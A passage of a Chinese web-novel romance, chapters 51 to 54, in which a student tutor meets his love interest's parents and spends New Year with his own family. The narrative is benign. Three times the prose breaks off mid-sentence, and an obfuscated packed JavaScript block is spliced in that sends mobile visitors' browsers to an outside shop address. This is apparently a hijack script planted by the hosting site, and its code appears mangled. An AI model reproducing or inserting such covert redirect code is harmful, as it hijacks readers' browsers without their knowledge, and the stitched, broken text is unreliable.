岑柏意显然也是想起了这个传闻,两人默契对视一眼,又默默瞥开视线。 岑柏意似乎想说点什么,但看见宁启洄耳尖红红的,只是笑了一下,扭头去看窗外的风景。 他在心里把“顶点表白亲嘴”的攻略划掉,重新写: 【只是看看风景也很好了。 只要和这个人待在一起,做什么都很好。】 轿厢经过最高点,又缓慢下落。 宁启洄一路很纠结,他想,没亲上哎,要是真分了怎么办。 万一这传闻是真的呢? 直到晕晕乎乎被岑柏意拉下去,微风打在脸上,被轿厢里氛围熏醉的宁启洄蓦然清醒——哦对,他们还没谈上来着,分不了。 岑念慢一步下来,仔细观察了一下大哥和老师的表情,得出结论:没亲上。 他恨铁不成钢,狠狠拧了几下魔方,把规整的色块打乱。 大哥你不中用啊! 天色渐渐黑了,他们决定回去。 人很多,岑柏意不动声色把他护在怀里,避免他被人群挤到。 岑念看着那留出能塞下一个他的空间,恨铁不成钢,简直想亲自上手把小宁老师塞进他哥怀里。 他哥还是太矜持了。 正随着人群往外走,旁边突然有人碰了碰宁启洄的肩膀。 “老板,你下次什么时候来卖气球啊?我朋友在你这买只要十块,隔壁都是五十,贵死了!” 宁启洄:“……?” 岑柏意和岑念同时提起心,见他没说话,有些慌了,几人沉默地往停车场走去。 宁启洄沉默了很久,等坐进了车里,他才发出惊异的质疑,“这么黑的吗,一个气球五十块?!” 他一边系安全带一边碎碎念:“下次去别的地方,好黑啊,听说门票也不便宜,人也多,要不是你有关系,估计得排好久的队。” 岑柏意松了口气,点头笑道:“好,下次去别的地方。” 51.家长 寒假的教学也很快就过去了,新年很快到来,苏女士前几天就开始催他回家了。 宁启洄回去的前一天,夏女士突然带着岑先生回来了。 当时瘫在沙发上玩手机的宁启洄吓得蹦起,暗戳戳躲在岑柏意身后。 啊啊啊—— 怎么这么快就见家长了,两位家长都见到了! 紧脏! 夏玥放下包冲他笑了笑,“小宁别这么拘束,你也是小意的朋友呀。” 她把跟在身后大包小包的岑为宥拉到身前,“这是小意阿念的父亲,喏,这就是我跟你提过的,阿念的家教老师,也是小意的舍友。” 岑为宥戴着一副银丝边框的眼睛,看着很儒雅,气质随和,没有穿西装的他看着毫无攻击性,就像是一个普普通通的居家好男人。 ——除了那双时不时闪过锐利光芒的漆黑眼睛。 宁启洄微微瞪大眼,他认识这个男人,经常在财经报道上看见他,A市的,全国的,甚至国际的,都有。 宁先生说过,这人是他偶像。 没想到那么伟大的企业家,居然是岑柏意的父亲。 宁启洄顿时紧张,握住手机的手微微冒汗。 这次他们回来也没有提前打招呼,岑柏意也没想到他们会今天回来。 察觉到他的紧张,岑柏意上前一步接过他们的行李,把岑为宥到二楼。 “爸,岑念说他数学学得不错,你考考他。” 岑为宥微微偏头,看了眼客厅里明显放松下来、正和夏玥聊天的年轻人,了然点头,推开岑念的卧室门。 下一秒,岑念的鬼叫传出来。 “啊啊啊——爸你咋回来了!!” “怎么了,户主是我。”岑为宥平和的声音传出,“听说你数学学得不错,来做几个题。” 砰—— 房间一关,世界清净。 岑柏意收回造福世界的手,慢慢下楼。 夏玥已经在收拾带回来的行李了,阿姨不在家,只能她亲力亲为。 “啊,这个陶瓷盘子的花纹超级精致有没有!我好不容易抢到的,店主说就这一套了。” “妈,买瓷器为什么要去国外。” “这不是好看嘛……哦对了,这个牛角帽是不是超可爱!阿念肯定喜欢!” “我觉得——” “小意小意,这个你肯定喜欢!” 夏玥拿着一个玩具面饰比在岑柏意脸上,咯咯笑起来。 那是一副黑色大眼镜框,下面连着大红鼻子和翘翘的八字胡,岑柏意再精致的脸也禁不住这样糟蹋,看着瞬间就要去卖烤羊肉串。 “……”这真是国外买回来的吗,别是made in China——大概率是。 宁启洄撑着下巴看他们有趣的互动,笑得眼睛眯起。 夏玥突然扭头看向他,眼睛很亮,亮得像是她出门旅游前一晚出现过的眼神。 “?”看他做什么。 夏玥温温柔柔地开口:“小宁,我也给你买了点东西。” 宁启洄一愣,下意识要假客套一番,然后就看见了夏玥手里的毛绒帽子和手套,还有一条织出独特花纹的白白围巾。 他瞳孔震颤,看着夏玥一步步朝他走来。 宁启洄把求助的目光投向岑柏意,后者抿唇,“妈,要不你……” “小意你也想要吗?这个是给小宁带的,妈妈明天带你去逛商场好不好?”夏玥惊讶回头,随即笑着看他。 “……” 岑柏意默默和宁启洄隔空对视。 岑柏意:对不起,我救不了你。 宁启洄:没关系,我一个人也可以很好。 岑柏意:…… 夏玥撩起鬓边的长发,在宁启洄略感绝望的眼神中,把缝着软软鹿角的浅棕色帽子扣在他脑袋上,稍微大了一点点,帽檐微微遮住他的眼睛。 他努力仰头,透过帽子的缝隙去看 像只迷路的小麋鹿。 可爱,想rua。 岑柏意耳尖微微泛红,眼睛一眨不眨看着他。 夏玥满意点头,又给他戴上米白色的围巾,小皮手套尺寸很合适,她给他掖了掖卫衣的帽子。 “穿件羽绒服就更搭了!”夏玥兴奋道,当即想要带着宁启洄去买衣服。 好说歹说,被岑柏意给劝下来了。 夏玥倍感遗憾,“那小宁你回去了记得自己买一件啊~” “……好。”他点头说。 由于两人到家已经九点多了,阿姨又不在,夏玥表示不麻烦老公和儿子了——家里就他们俩会做饭,她点了顿麻辣小龙虾。 检验完数学课程的岑为宥带着哭丧着脸的岑念下楼,听到这话,无奈笑了笑。 就是嘴馋想吃小龙虾了。 一个小时之后,几人坐在桌边,围着两大盆油亮鲜红的麻辣小龙虾开炫。 宁启洄吃了几个就没吃了,晚饭岑柏意做了很多好吃的,他吃得很饱。 他悄咪咪打量岑为宥,看对方带着塑料手套,吃得满嘴辣红,突然觉得滤镜稀碎。 在第三次投去视线的时候,岑为宥淡定脱下手套,扭头看他,“小宁,我脸上是有东西吗?” 宁启洄正在啃麻辣小龙虾里的黄瓜,香香脆脆的,听到这话,猛地呛了一下。 岑柏意忙给他拍拍背,又倒了一杯水,让他慢慢喝下。 见状,岑为宥微微挑眉,夏玥倒是心大得厉害,从老公碗里捞剥好的虾仁吃。 等缓过来,宁启洄吐了口气,声音小小,“因为,您是我爸的偶像。” 岑为宥笑了笑,似乎不奇怪这种事情,他只是问:“令尊是?” 宁启洄有些不好意思地挠挠头,“宁霄城,宁氏集团董事长。” 跟岑家的家业比起来,宁氏集团着实是有点不够看的,或者说,A市所有企业都算不上什么。 岑为宥喝了口水,想了想,恍然大悟道:“我记起来了,令堂是世安国际董事长千金对吧。” 宁启洄惊奇地瞪大眼,“您认识我外公?” 世安国际就是宁启洄外公苏世安年轻时一手创办企业,现在还没退位,一儿一女都有公司的股份。 苏情从小是老两口疼着长大的,在她表明没有管理公司的意向之后,苏世安开启了对苏绍庭的魔鬼训练,力图把他培养成一个合格的接班人。 而他的姐姐,宁启洄的母亲,坐收公司分成。 美滋滋。 岑为宥颇为爽朗地笑了一声,“当年和你外公有些生意上的往来,他还打算认我当义弟。” 一句话,沉默全场。 岑柏意:“……” 宁启洄:“……” 差辈了,真的差辈了。 吃完夜宵,大家互道晚安,都去睡了。 宁启洄以为有见家长的局促感会睡不着觉,其实正好相反,他一沾床就睡着了。 第二天一早,宁启洄被岑柏意叫起来。 住在别人家,宁启洄没好意思锁门,所以当岑柏意坐在他床边,把沾了点水的手塞进他温暖的颈窝时,他的眼睛蓦然睁大,里面闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144602|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过一丝杀气。 岑柏意淡定拿过手机,点开某个对话框给他看。 【岁宝】:明早叫我起来,我和你一起做早饭,你爸妈回来了,我不能表现得像个米虫一样。(团子哭哭.jpg) 【cby】:没关系的,他们不会介意。 【岁宝】:不不不,我有偶像包袱,要努力上进。 【cby】:没记错的话,我爸才是那个偶像? 【cby】:反正他们也睡到自然醒,我习惯了。 【岁宝】:……你好牛马啊岑总。 【岁宝】:不管,反正你要叫我起来!(团子撒泼打滚.jpg) 【岑柏意】:要是你不起还凶我怎么办? 【岁宝】:把这聊天记录公之于众,让世人耻笑我! 宁启洄:“……”瞬间清醒。 他看了眼岑柏意给自己的备注,脸一红,老老实实爬起来。 · 厨房里并没有太多事情做,岑柏意说今天早上喝小米粥,养胃的,两位“远道而来”倒时差肯定没吃好睡好。 宁启洄见他用碗接了水,便兴致勃勃要帮忙,“我要做点什么?” 岑柏意想了想,“把小米给我。” 他可不敢让他碰刀子了,上次就切出血口来了。 宁启洄:“小米几?” 岑柏意:“……?” 宁启洄轻轻打了下自己的嘴,默默去拿放在边上的小米,并且在心里唾弃昨晚开着雷总鬼畜视频循环睡着了的自己。 岑柏意接过小米,轻笑一声,“没睡醒就继续睡会,嗯?”还在说梦话呢。 宁启洄身健志坚,“不用了,厨房睡得比较舒服。” 岑柏意:“?” 最终,宁启洄默默坐在了厨房的一个高脚凳上,观摩岑柏意做饭全过程。 岑柏意是不敢让他帮忙了,就他这说梦话的架势,怕他一个跟头把脸埋进粥锅里一起咕嘟。 早饭也做得很丰盛,岑为宥笑了一下,眼睁睁看着岑柏意盛了第一碗粥递给宁启洄,又在他期待的眼神里,把第二碗粥放到了自己面前,拿起筷子开始吃饭。 没能拿到一碗粥的岑为宥:“……” 虽然没期待他儿子会把粥给他,但第一碗给了这个小同学是不是不太对劲? 他儿子,什么时候学会照顾别人了。 依稀记得,岑念小时候顽皮得很不吃饭,岑柏意直接让人把饭受了,饿了他一整天。 这是……转性子了? 感知灵敏的岑为宥察觉到不对劲,但又不知道具体是哪里不对劲。 他看着岑柏意不停给这位小同学夹菜,期间还不停提醒他“慢点吃”“小心烫”。 没感受到关怀的老父亲岑为宥微微眯起眸子,眼里闪过一道锐利的光,而一旁的老婆和小儿子并没有任何反应,甚至配合着给小同学夹菜,显然是习以为常了。 ……所以,他不在的这一年里,到底发生了什么。 家教效果有这么好? 宁启洄注意到岑为宥还没拿到粥,他有些不好意思地起身,给他装了满满一碗,颤颤巍巍地递过去。 两个儿子看他的眼神瞬间锐利。 岑柏意:岁宝亲手盛的粥,我都没喝上! 岑念:我勒个亲爹啊,你就别瞎掺和你大儿子大儿媳妇的事情了哎! 岑为宥:“……” 莫名觉得这碗粥有些沉重是怎么回事? 他接过粥,冲宁启洄道了谢,在两兄弟愈发锐利的眼神中,淡定嘬了一口。 52.衣服 吃完饭,岑柏意开车把他送回去了。 两家正好是跨了大半个大学城,岑家在南边,宁家在东边。 宁启洄本要邀请岑柏意进去坐坐,但今天夏玥和岑为宥也才刚回来,实在不太方便,只能作罢。 宁启洄走到自家别墅门口,发现以往听到他脚步声就会巴巴跑出来迎接他的牧哥,这会居然趴在院子中间无动于衷,脑袋偏向一边。 客厅里窜出个人来,飞快搂住他,“阿宁你可算回来了!我都以为你被岑柏意拐卖走了!” 林枫晚念叨着自己的不满,这半个月他可无聊死了。 一些堂的表的兄弟姐妹分批次往他家钻,年纪大的聊几句就要说教,年纪不大的叽叽喳喳,吵得他头疼。 盼星星盼月亮,好不容易盼到他回来了。 宁启洄耸耸肩,示意他松开,“牧哥怎么了?” 他自从知道自己喜欢岑柏意之后,就不太适应和别人过于亲密地接触。 不过他以前也一直这样,林枫晚倒是没发现什么异常,只是幸灾乐祸看了眼隔壁,“喏,那就是花花。” 宁启洄顺着他的视线望过去,隔壁院子里有一只全身雪白的萨摩耶,看着体态很美,毛茸茸的,项圈上有一个漂亮的粉色蝴蝶结。 “哈哈哈哈,隔壁阿姨知道牧哥是个公公之后,不许花花跟牧哥玩了。”林枫晚笑得贱兮兮的,瞅了眼院子中间垂头丧气的大边牧。 挂在一旁的笼子里的鹦鹉小凤也叫起来:“公公!公公!” 牧哥很聪明,似乎听懂了这句话,当即支棱起来冲小凤汪汪叫。 一鸟一狗就这么吵了起来。 宁启洄捏了捏眉心,“都知道是公公了,为什么还不让他们一起玩。” 又不能做点什么。 林枫晚耸肩,“主要是牧哥总是带它往池塘里钻,每次回家都脏兮兮的,隔壁阿姨烦得要死,每次都要给花花洗澡。” 宁启洄瞅了眼一边和鹦鹉骂架,一边分神看隔壁花花的牧哥。 真是活该,让你带那么好看的小公主往塘子钻。 宁启洄没再管他们的爱恨情仇,他自己的感情都纠结不明白呢。 他拎着行李箱往客厅走。 苏女士已经在客厅等着了,见他回来,嗔了一句,“多少天了不着家,不知道回来看看。” 家里人是知道他在做家教的,而且是y舍友家里,也在大学城附近。 苏情有些心疼,从小捧在手心里的孩子居然还要为生活费发愁。 想到这里,不免有些埋怨地看了眼一旁淡定用平板刷新闻的宁霄城。 宁霄城也是知道这件事的,和苏情的态度不同,他很赞成宁启洄自力更生。 他的父母,也就是宁启洄的爷爷奶奶,并没有什么背景,就是土生土长的农村人。 当年费劲把他供进大学,想着本科毕业了能进大公司。 没想到宁霄城真的很争气,成绩名列前茅不说,还和校花谈上了——也就是苏情。 苏情是苏世安唯一的女儿,从小捧在心尖尖,怎么可能让她嫁给身份背景相差巨大的宁霄城。 他提出要求,让宁霄城自己在A市打下一片天地,能护住苏情周全之后,他才会放心把女儿交给他。 本意是想让宁霄城知难而退,但他做到了,苏情再也不顾父亲的反对,毅然决然嫁给了他。 但,宁启洄就很倒霉了。 宁霄城想让他不要忘本,不要沉溺于过于奢靡的生活,所以,他的生活费被克扣了。 正在看新闻的宁霄城没抬头,只是冷哼一声,“还知道回来。” 宁启洄:“……”这话说的,他不着家到底是谁造成的,还不是因为某个黑心资本家压榨他零花钱。 但这话他不敢说,毕竟说了肯定又要和宁先生大吵一架,然后以苏女士两头劝都劝不好结束。 不过,让他惊讶的是,经常看不见人影的宁先生今天居然在家——一般来说,年底是最忙的时候,宁霄城会连续几个星期吃住在公司,直到过年前夕才消停。 宁霄城把目光从早间新闻中分了点给宁启洄,皱起眉,“去别人家住十几天,有没有好好道谢。” 宁启洄:“……” 又来了又来了。 他选择性忽视宁霄城的日常质问,决定继续和苏女士“叙旧”,毕竟只有从她这里,才能汲取到一丝来自至亲的温暖。 宁霄城也不管,自顾自喝咖啡看新闻——难得清闲,不和这逆子计较。 苏女士聊着聊着,突然发现宁启洄身上的衣服没见过,“岁宝,你买新衣服了?” 她上手摸了摸,面料质感很好很亲肤。 “哎对了,刚才没来得及问。”昧着良心安慰了一通牧哥的林枫晚走进客厅,听见苏情的话,也开口说。 他摸了摸宁启洄身上的外套,质感很好,摸着很舒服,不过不是宁启洄常穿的牌子,“好久都没见你穿这么新鲜的衣服了,你去抢银行了?” 这个牌子的衣服都是几千往上,外套这种做工要求更高的衣服,价格也更贵。 宁启洄身上穿的是当季新款,预估价在五万以上。 林枫晚是知道的,他最近穷死了,存点钱全买邮票了,又要给他小舅攒钱买礼物。 再说了,十几天家教也赚不到五万——除非岑柏意钱多烧得慌。 新鲜的衣服…… 宁启洄默然,这是什么惊天地泣鬼神的遣词造句,和岑念有得一拼。 他在想,岑柏意说的要给岑念报语言补习班,是不是也得给林枫晚加一个。 丝毫没觉得自己的语言水平已经沦落到和初一学生一个标准的林枫晚见他不吭声,又问了一遍。 宁启洄回神,随口道:“岑柏意给我买的。” 林枫晚:“……”还真是钱多烧得慌。 “哎不是,他无缘无故给你买什么衣服?”林枫晚皱眉。 虽然他在学校也跟着江千陵磕七百CP,但不代表岑柏意就真的能对宁启洄这样那样。 在他眼里,宁启洄还是张懵懂无知的白纸,岑柏意莫不是在欺负人? 宁启洄掩下眼里的心虚,淡定回复:“他妈妈感谢我给他弟弟补课提分,送我的。” 想了想,觉得这个解释有点欠缺,他又找补一句,“他妈妈朋友的店,打骨折那种。” 这话倒是不假,确实是夏女士朋友的店,但不知道为什么,岑柏意似乎和谁较上劲了,坚持要全额付款,导购眼睛亮得跟灯泡一样。 林枫晚这才半信半疑地点头。 一旁默默看报表的宁霄城又开始发表自己的不满见解,“怎么能让人家给你买东西呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151439|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你有没有送什么回去?” 苏情这次也赞同丈夫的意见,点点头看儿子。 宁启洄:“……”哈哈,忘了这茬。 见他的模样,苏情就猜到了,叹气道:“等会买点礼物去他家看看。” 宁启洄:“……” 哈哈,大过年的,还真……像是走亲戚。 而且是去你儿子的婆家……等等,什么婆家?! 宁启洄狠狠在脑子里把自己是受的念头划去,沉默地收拾行李箱里的衣服。 好家伙,不看不知道,一看吓一跳。 行李箱是岑柏连夜给他收拾的,里面全是岑柏意给他买的新衣服,和自己从学校带回来的一些衣服,甚至连夏女士买的毛绒鹿角帽子都在里面,苏绍庭给他买的是一件都没看到。 呵呵,还说不是吃醋。 宁启洄一副图样图森破的表情,觉得自己已经完全拿捏了岑柏意的小心思。 最终,他从犄角旮旯翻出一双苏绍庭给买的袜子——也许是岑柏意担心他回家了不好交差。 啊,他真贴心。 滤镜八百米厚的宁启洄美滋滋想着。 就在这时,躲在姐姐姐夫家不肯回去见老爷子的苏绍庭也终于睡醒下了楼。 他看见亲爱的小外甥回来了,高高扬眉,“怎么不穿我给你买的衣服?” 宁启洄默默举起手里那双幸存的白袜子,“明天穿。” 苏绍庭:“……?” 苏情皱起秀眉,看他不着调的弟弟,“绍庭,买衣服怎么能只买双袜子。” 苏绍庭:“……” 苏绍庭:“???” 苏绍庭觉得很冤枉,他瞪着眼睛去“只拿到一双袜子”的当事人,后者一脸无辜看向他。 苏绍庭撇嘴,“哪有,我——” “哎哎哎!小舅你不是说等我回来一起去钓鱼吗,走不走?”宁启洄急忙打断,生怕岑柏意的小心思暴露,那到时候家里又是一场“血雨腥风”。 苏绍庭看了他几秒,如了他的愿止住话题,只是哼笑道:“那小舅下次再给你多买点新衣服咯~走呗小外甥~” “走走走!” 宁启洄把行李箱往他房间一扔,背起钓具拉着江千陵往外冲。 “记得回来吃午饭,下午要去挑礼物!”苏情在后面喊了一句。 远远飘来宁启洄的应答声。 苏情嘀咕道:“这孩子,都成年了也没见稳重一点。” 客厅里安静了一会,苏情突然开口:“宁霄城你什么不说话,是不是觉得我小题大做了。” 宁霄城喝了口咖啡,随口接道:“哪有,夫人永远是对的。” 苏情不依不饶,“那你觉得岁宝怎么样。” 宁霄城:“老样子呗,不上不下不左不右。” 苏情:“宁霄城,那是你儿子,有你这么说自己儿子的吗!” 休假的宁霄城此刻心情放松,不小心把心里话说出来了,“还不是你惯的。” 说完,反应过来,表情一僵。 “我惯的?!你让他小时候骑你头上尿尿你忘了?”苏情瞪大眼睛,美目满是怒气,“宁霄城,你是不是想吵架!” 拿老婆毫无办法的宁霄城:“……”不是已经在吵了吗老婆? 宁总觉得自己是真的很冤枉。 53.跨年 吵完一架心情舒畅的苏情去厨房切了盘水果,还贴心地给一脸沧桑的宁先生喂了几颗草莓,甜滋滋的。 · 过年前总是忙碌的,刚消停两天的宁霄城又开始了在公司过夜的日常——据苏女士透露,是宁先生得知他那天回家,特地请了两天假,结果事情堆成山,休息了两天又得去公司加班。 当然,当宁启洄去问的时候,死鸭子嘴硬的宁先生是肯定不会承认的,只是挥手让他滚。 而苏绍庭,被他亲外甥告发,不情不愿地跟苏老爷子回老宅了。 其实宁启洄也不想的,但他回来的这几天,苏绍庭天天问他买的衣服去哪里了,他那个小同学好不好相处,问的他都烦了。 但苏情想来公平,根本不管他们。 没办法,宁启洄只能请外公出马。 苏绍庭看见苏世安打来的视频电话,天都塌了——不是,他爹怎么知道他提前回来了?! 对上宁启洄毫不心虚的视线,苏绍庭怒极反笑:小兔崽子,你给我等着。 然后又过了几天,就被宁启洄送了个绝版手办当生日礼物给搪塞了过去了。 苏绍庭哼哼两声,气消了不少。 总之,过年之前的生活总是平淡又热闹的。 直到除夕夜当天,宁霄城总算有空了,一家人团团圆圆在家里吃了年夜饭。 宁家过年会回苏家老宅,就在隔壁市,离得很近。 宁启洄的爷爷奶奶很早就离世了,所以一家人都是在苏家老宅过,家里的用人那几天就会放假让他们回去和家人团圆。 苏世安老两口一共就一儿一女,苏绍庭二十七八不急着结婚,所以年夜饭的家宴上,只有苏家老两口和他们的儿女,以及他们的亲亲外孙,和一个姓宁的——他们现在依然不太待见宁霄城,虽然宁启洄也姓宁,但在他们眼中,那就是亲亲女儿的亲亲儿子。 每年的团年饭就是吃了饭、发红包等一系列流程,然后就各干各的事了。 今年也不例外,吃过饭,宁启洄坐在座位上乖乖等发红包。 目前来说,家里他辈分最小,其他人都要给他包个大红包。 首先是外公苏世安给他塞了个大红包,厚厚一叠,很有仪式感。 宁启洄笑嘻嘻接过,“祝外公新年快乐,身体健康!” 苏世安笑眯眯摸了摸宁启洄毛茸茸的头,“新的一年,也祝我们岁宝平安快乐,健健康康。” 外婆叶秋眉笑呵呵的,也给了个红包,红包表面,摸着有点硌手。 宁启洄当场拆开,里面是一个小金锁。 据苏女士说,在宁启洄出生的时候,叶秋眉就给他送了一个长命锁,项圈是玉的,坠着的长命锁是实金的。 只不过后来他长大了,那长命锁项圈戴着不太合适,就取了下来,妥帖地放在家里的保险柜里。 “希望我们岁宝平平安安。”叶秋眉温柔地抚摸宁启洄的脸,眼里满是柔和爱意。 “谢谢外婆!”宁启洄咧嘴笑,蹭蹭叶秋眉温暖的手心。 宁启洄看着小金锁的样式,想了想,把他串进手腕上的菩提珠手链上。 编织的手链是活结,只不过需要费一番功夫,宁启洄之前闲得无聊摸索着解开了,这会轻车熟路地把小金锁套了上去,和纯白的菩提珠放在一起,有种诡异的和谐感。 苏情瞥见,有些惊奇道:“岁宝,你什么时候戴了手链?” 宁启洄拿到菩提珠的时候,已经是十月了,他一直穿着袖子长到遮住手腕的衣服,也没人能看出来他戴了个手串。 苏绍庭看他另一只手,笑道:“这手表看着也不便宜哦~” 宁启洄:“……” 哦你个头哦哦哦,别找事啊。 宁启洄嗯嗯啊啊几句,这算是应付了过去。 宁霄城给的红包就很实际,一张卡,卡面很漂亮,看着像定制的。 宁启洄兴致冲冲拆开,里面有一小叠现钞,宁启洄还在奇怪,给卡了还给什么纸钞,也是仪式感? 他突然发现边上还有一张字条:卡里有五百万,毕业了把密码告诉你。 宁启洄:“……”还知道写纸条不敢当面说,是不是怕外公揍你。 见宁先生铁了心要把节俭教育贯彻到底,宁启洄只能捏着鼻子认了——行吧,有钱就行。 苏情大气地给了一盒子金条,盒子外面刷着红漆,权当是红包了。 苏绍庭笑眯眯地给了他一张卡,宁启洄还没来得及高兴,就听他说:“莉莉丝书屋的至尊会员卡,每个月都能免费挑一本书,每季能挑一套书,全国通用,仅此一张哦~” 宁启洄脸上的笑容僵住,偏偏这人还勾唇笑道:“是不是很开心呀小外甥~” 宁启洄:“……” 开心,我可太开心了。 大过年的,我谢谢你。 苏绍庭又神神秘秘对他说:“还有第二个新年惊喜,请注意查收哦~” 宁启洄木着脸,并不期待,倒是宁霄城对他的读书卡很满意,于是对他所谓的第二个新年惊喜也有些好奇了。 但苏绍庭只是神秘一笑,催促大家走流程。 大过年的,宁启洄没有再假客气,把红包一一收下,为了买礼物而干瘪下去的小金库瞬间充盈不少——除了那个中看不中用的读书卡,他都懒得看书。 流程走完,宁启洄上楼回房,给苏绍庭丢了个“跟上”的眼神。 回到房间,手机滴滴响起来。 宁启洄看着苏绍庭发来的照片,瞬间愣住。 照片上是他和岑柏意,准确的说,是那天上午被苏绍庭折磨完之后,下午又被拉去逛街。 宁启洄瞪大眼看他,“你、你怎么会拍到的!” 说话都有些结巴了,好像被发现了他埋藏于心底的秘密一样。 苏绍庭似乎没听出来,懒懒一笑,“去给你买衣服呀,身为你亲小舅,我怎么可能真的只给你买一双袜子呢~” 宁启洄:“……” 这一趴还没过去吗。 都说了岑柏意不是故意的!——虽然他是在心里说的,苏绍庭听不见。 宁启洄看着这几张照片,场景角度都不一样,显然是跟了一路,而且那都不叫偷拍,是光明正大地拍,就差举着手机怼他们脸上去了。 可惜,就这样,他们两人依旧没人注意到潜伏在群众中的苏绍庭。 宁启洄努力板起脸,“苏绍庭!” 苏绍庭举起手作投降状,“行行行,买了手办寄存忘拿了,顺路拍了几张照而已啦~” 宁启洄:呵呵,真是好顺路,顺了一路。 苏绍庭扒拉着宁启洄床头的枕头,被后者一巴掌拍下去。 他撇嘴,站起身在房间里转了转,突然回头。 正在默默保存偷拍照的宁启洄被吓了一跳,“干、干什么!” 心虚且大声。 苏绍庭露出八颗大白牙,快步走上前揽住他肩头,然后被无情推开。 “怎么样,我拍得是不是还行?” 宁启洄下意识要反驳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162752|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不过平心而论,确实不错,每一张都很有CP感……不对,他在想什么! 苏绍庭若有所思,“你觉不觉得,你就像大明星,而我像你的私生粉?” 被偷拍的大明星并不想理他这个私生。 见他不满意这个形容,苏绍庭继续思考,“或者,你们是地下恋情的明星小情侣,而我是在寒风中敬业蹲守瑟瑟发抖的小狗仔,好不容易拍到你们这组爆料图。” 宁启洄:……好得很,还给自己整了个人设,你怎么不去演戏啊苏影帝。 还有,什么小情侣啊…… 宁启洄耳朵红了红,没说话,径直走出去。 老宅在B市郊区的一座山的半山腰上,环境优美清净,附近是一大片草坪,这都是苏家的产业,直到山脚下才有另一户人家。 出来放风的宁启洄往山下走,苏绍庭被苏情指派跟在他后面。 不知走了多远的距离,终于能看见山脚下的景象。 此刻,山脚下千家万户灯火通明,似乎都燃放着烟花炮竹,噼里啪啦很热闹。 寂静的夜空中,绽开一朵朵绚烂的璀璨火花。 宁启洄情不自禁地拍了照,但又有些茫然,他不知道发给谁。 发给林枫晚,他只会问他是不是鬼上身了。 发到家族群,倒是会有人捧场,但那种感觉总归不是他想要的。 他到底想要什么呢? 宁启洄认真想了想,把照片发给了岑柏意。 他手指敲在键盘上,按了很久,删删减减,不知道到底该发些什么。 盯着屏幕中间的五彩烟花看了许久,宁启洄还是如实表达了自己拍下照片那一瞬间的想法。 【岁岁平安】:岑总,看!烟花! 过了几分钟,岑柏意没回。 估计在忙。 这种大老板,过年都有大单子接的。 宁启洄被自己的想法逗乐一瞬,又点进去看自己发的消息。 “……” 怎么感觉哪里怪怪的,他为什么要发这种话,弄得好像岑柏意没见过烟花一样。 准备撤回。 撤回不了。 宁启洄垂头丧气,准备去上网搜点过年祝福语找补找补。 跟在一旁的苏绍庭亲眼见证了他小外甥拍烟花发照片的全过程,还有他脸上的表情也是变幻莫测,一会高兴一会纠结的。 他想,要么就是有喜欢的人了,要不就是收到秦始皇复活的短信了① 他觉得小外甥已经十八了,不至于信这种诈骗短信——换成奥特曼还差不多。 万年单身但看过不少偶像剧的苏绍庭眯起眼,不对劲。 “哎,岁宝,给谁发消息呢?”笑得这么痴汉。 宁启洄手一顿,恼怒回头,“都说了不许这么叫我!” “行行行,小洄,洄洄,小外甥,满意了?”苏绍庭耸肩,突然一脸八卦地凑近他,“说说呗,小舅好奇~” 宁启洄被他叫得鸡皮疙瘩都起来了,看着蓦地凑近的一张脸,吓了一跳,手机打翻在地上,清晰地展示着他给某人发过去的消息。 他正准备弯腰去捡,却听见一声细微的提示音掺杂在嘈杂的炮竹声中。 叮咚—— 手机微信消息提示响起,没来得及退出来的聊天界面弹出来两条消息,那人发了说: 【烟花很好看,谢谢岁宝。】 【新年快乐,岁宝。】 宁启洄唇角微微勾起,他觉得,这个年,似乎比以往更好。 54.锦囊 苏绍庭眯起眼看手机上的聊天记录。 突然,翘起嘴角,十分做作地开口:“哦哟~岑总~看烟花~” 宁启洄:拳头硬了。 他把手机捡起来,给岑柏意回了个【新年快乐】,并不准备理他。 但闲得发慌的苏绍庭不依不饶,手搭在他肩上,把头凑近,八卦道:“没记错的话,你补习那家的小同学就姓岑吧?” 宁启洄还是不理他。 苏绍庭:“这是他爸爸?不像,头像不符合中年人审美……你同学当总裁了?” 苏绍庭还在猜测,突然笑了笑,“该不会是某种情.趣吧?” 情趣……尼玛! 宁启洄忍无可忍,“苏绍庭,把手办还我。” 私下里,宁启洄是不会叫他小舅的。 这人没比他大几岁,又幼稚得要死,他才不叫。 苏绍庭夸张地瞪大眼,捂住心口伤心道:“别吧,送出去哪有拿回来的道理。” 宁启洄面无表情,“那就闭嘴。” 见把人逗得快炸毛了,苏绍庭伸手在嘴上作拉链状,识趣闭嘴。 宁启洄红着耳朵在前面走,心想,情.趣吗……可能是的,毕竟他们俩都挺乐在其中。 —— 到了晚上,一家人坐在一起守岁。 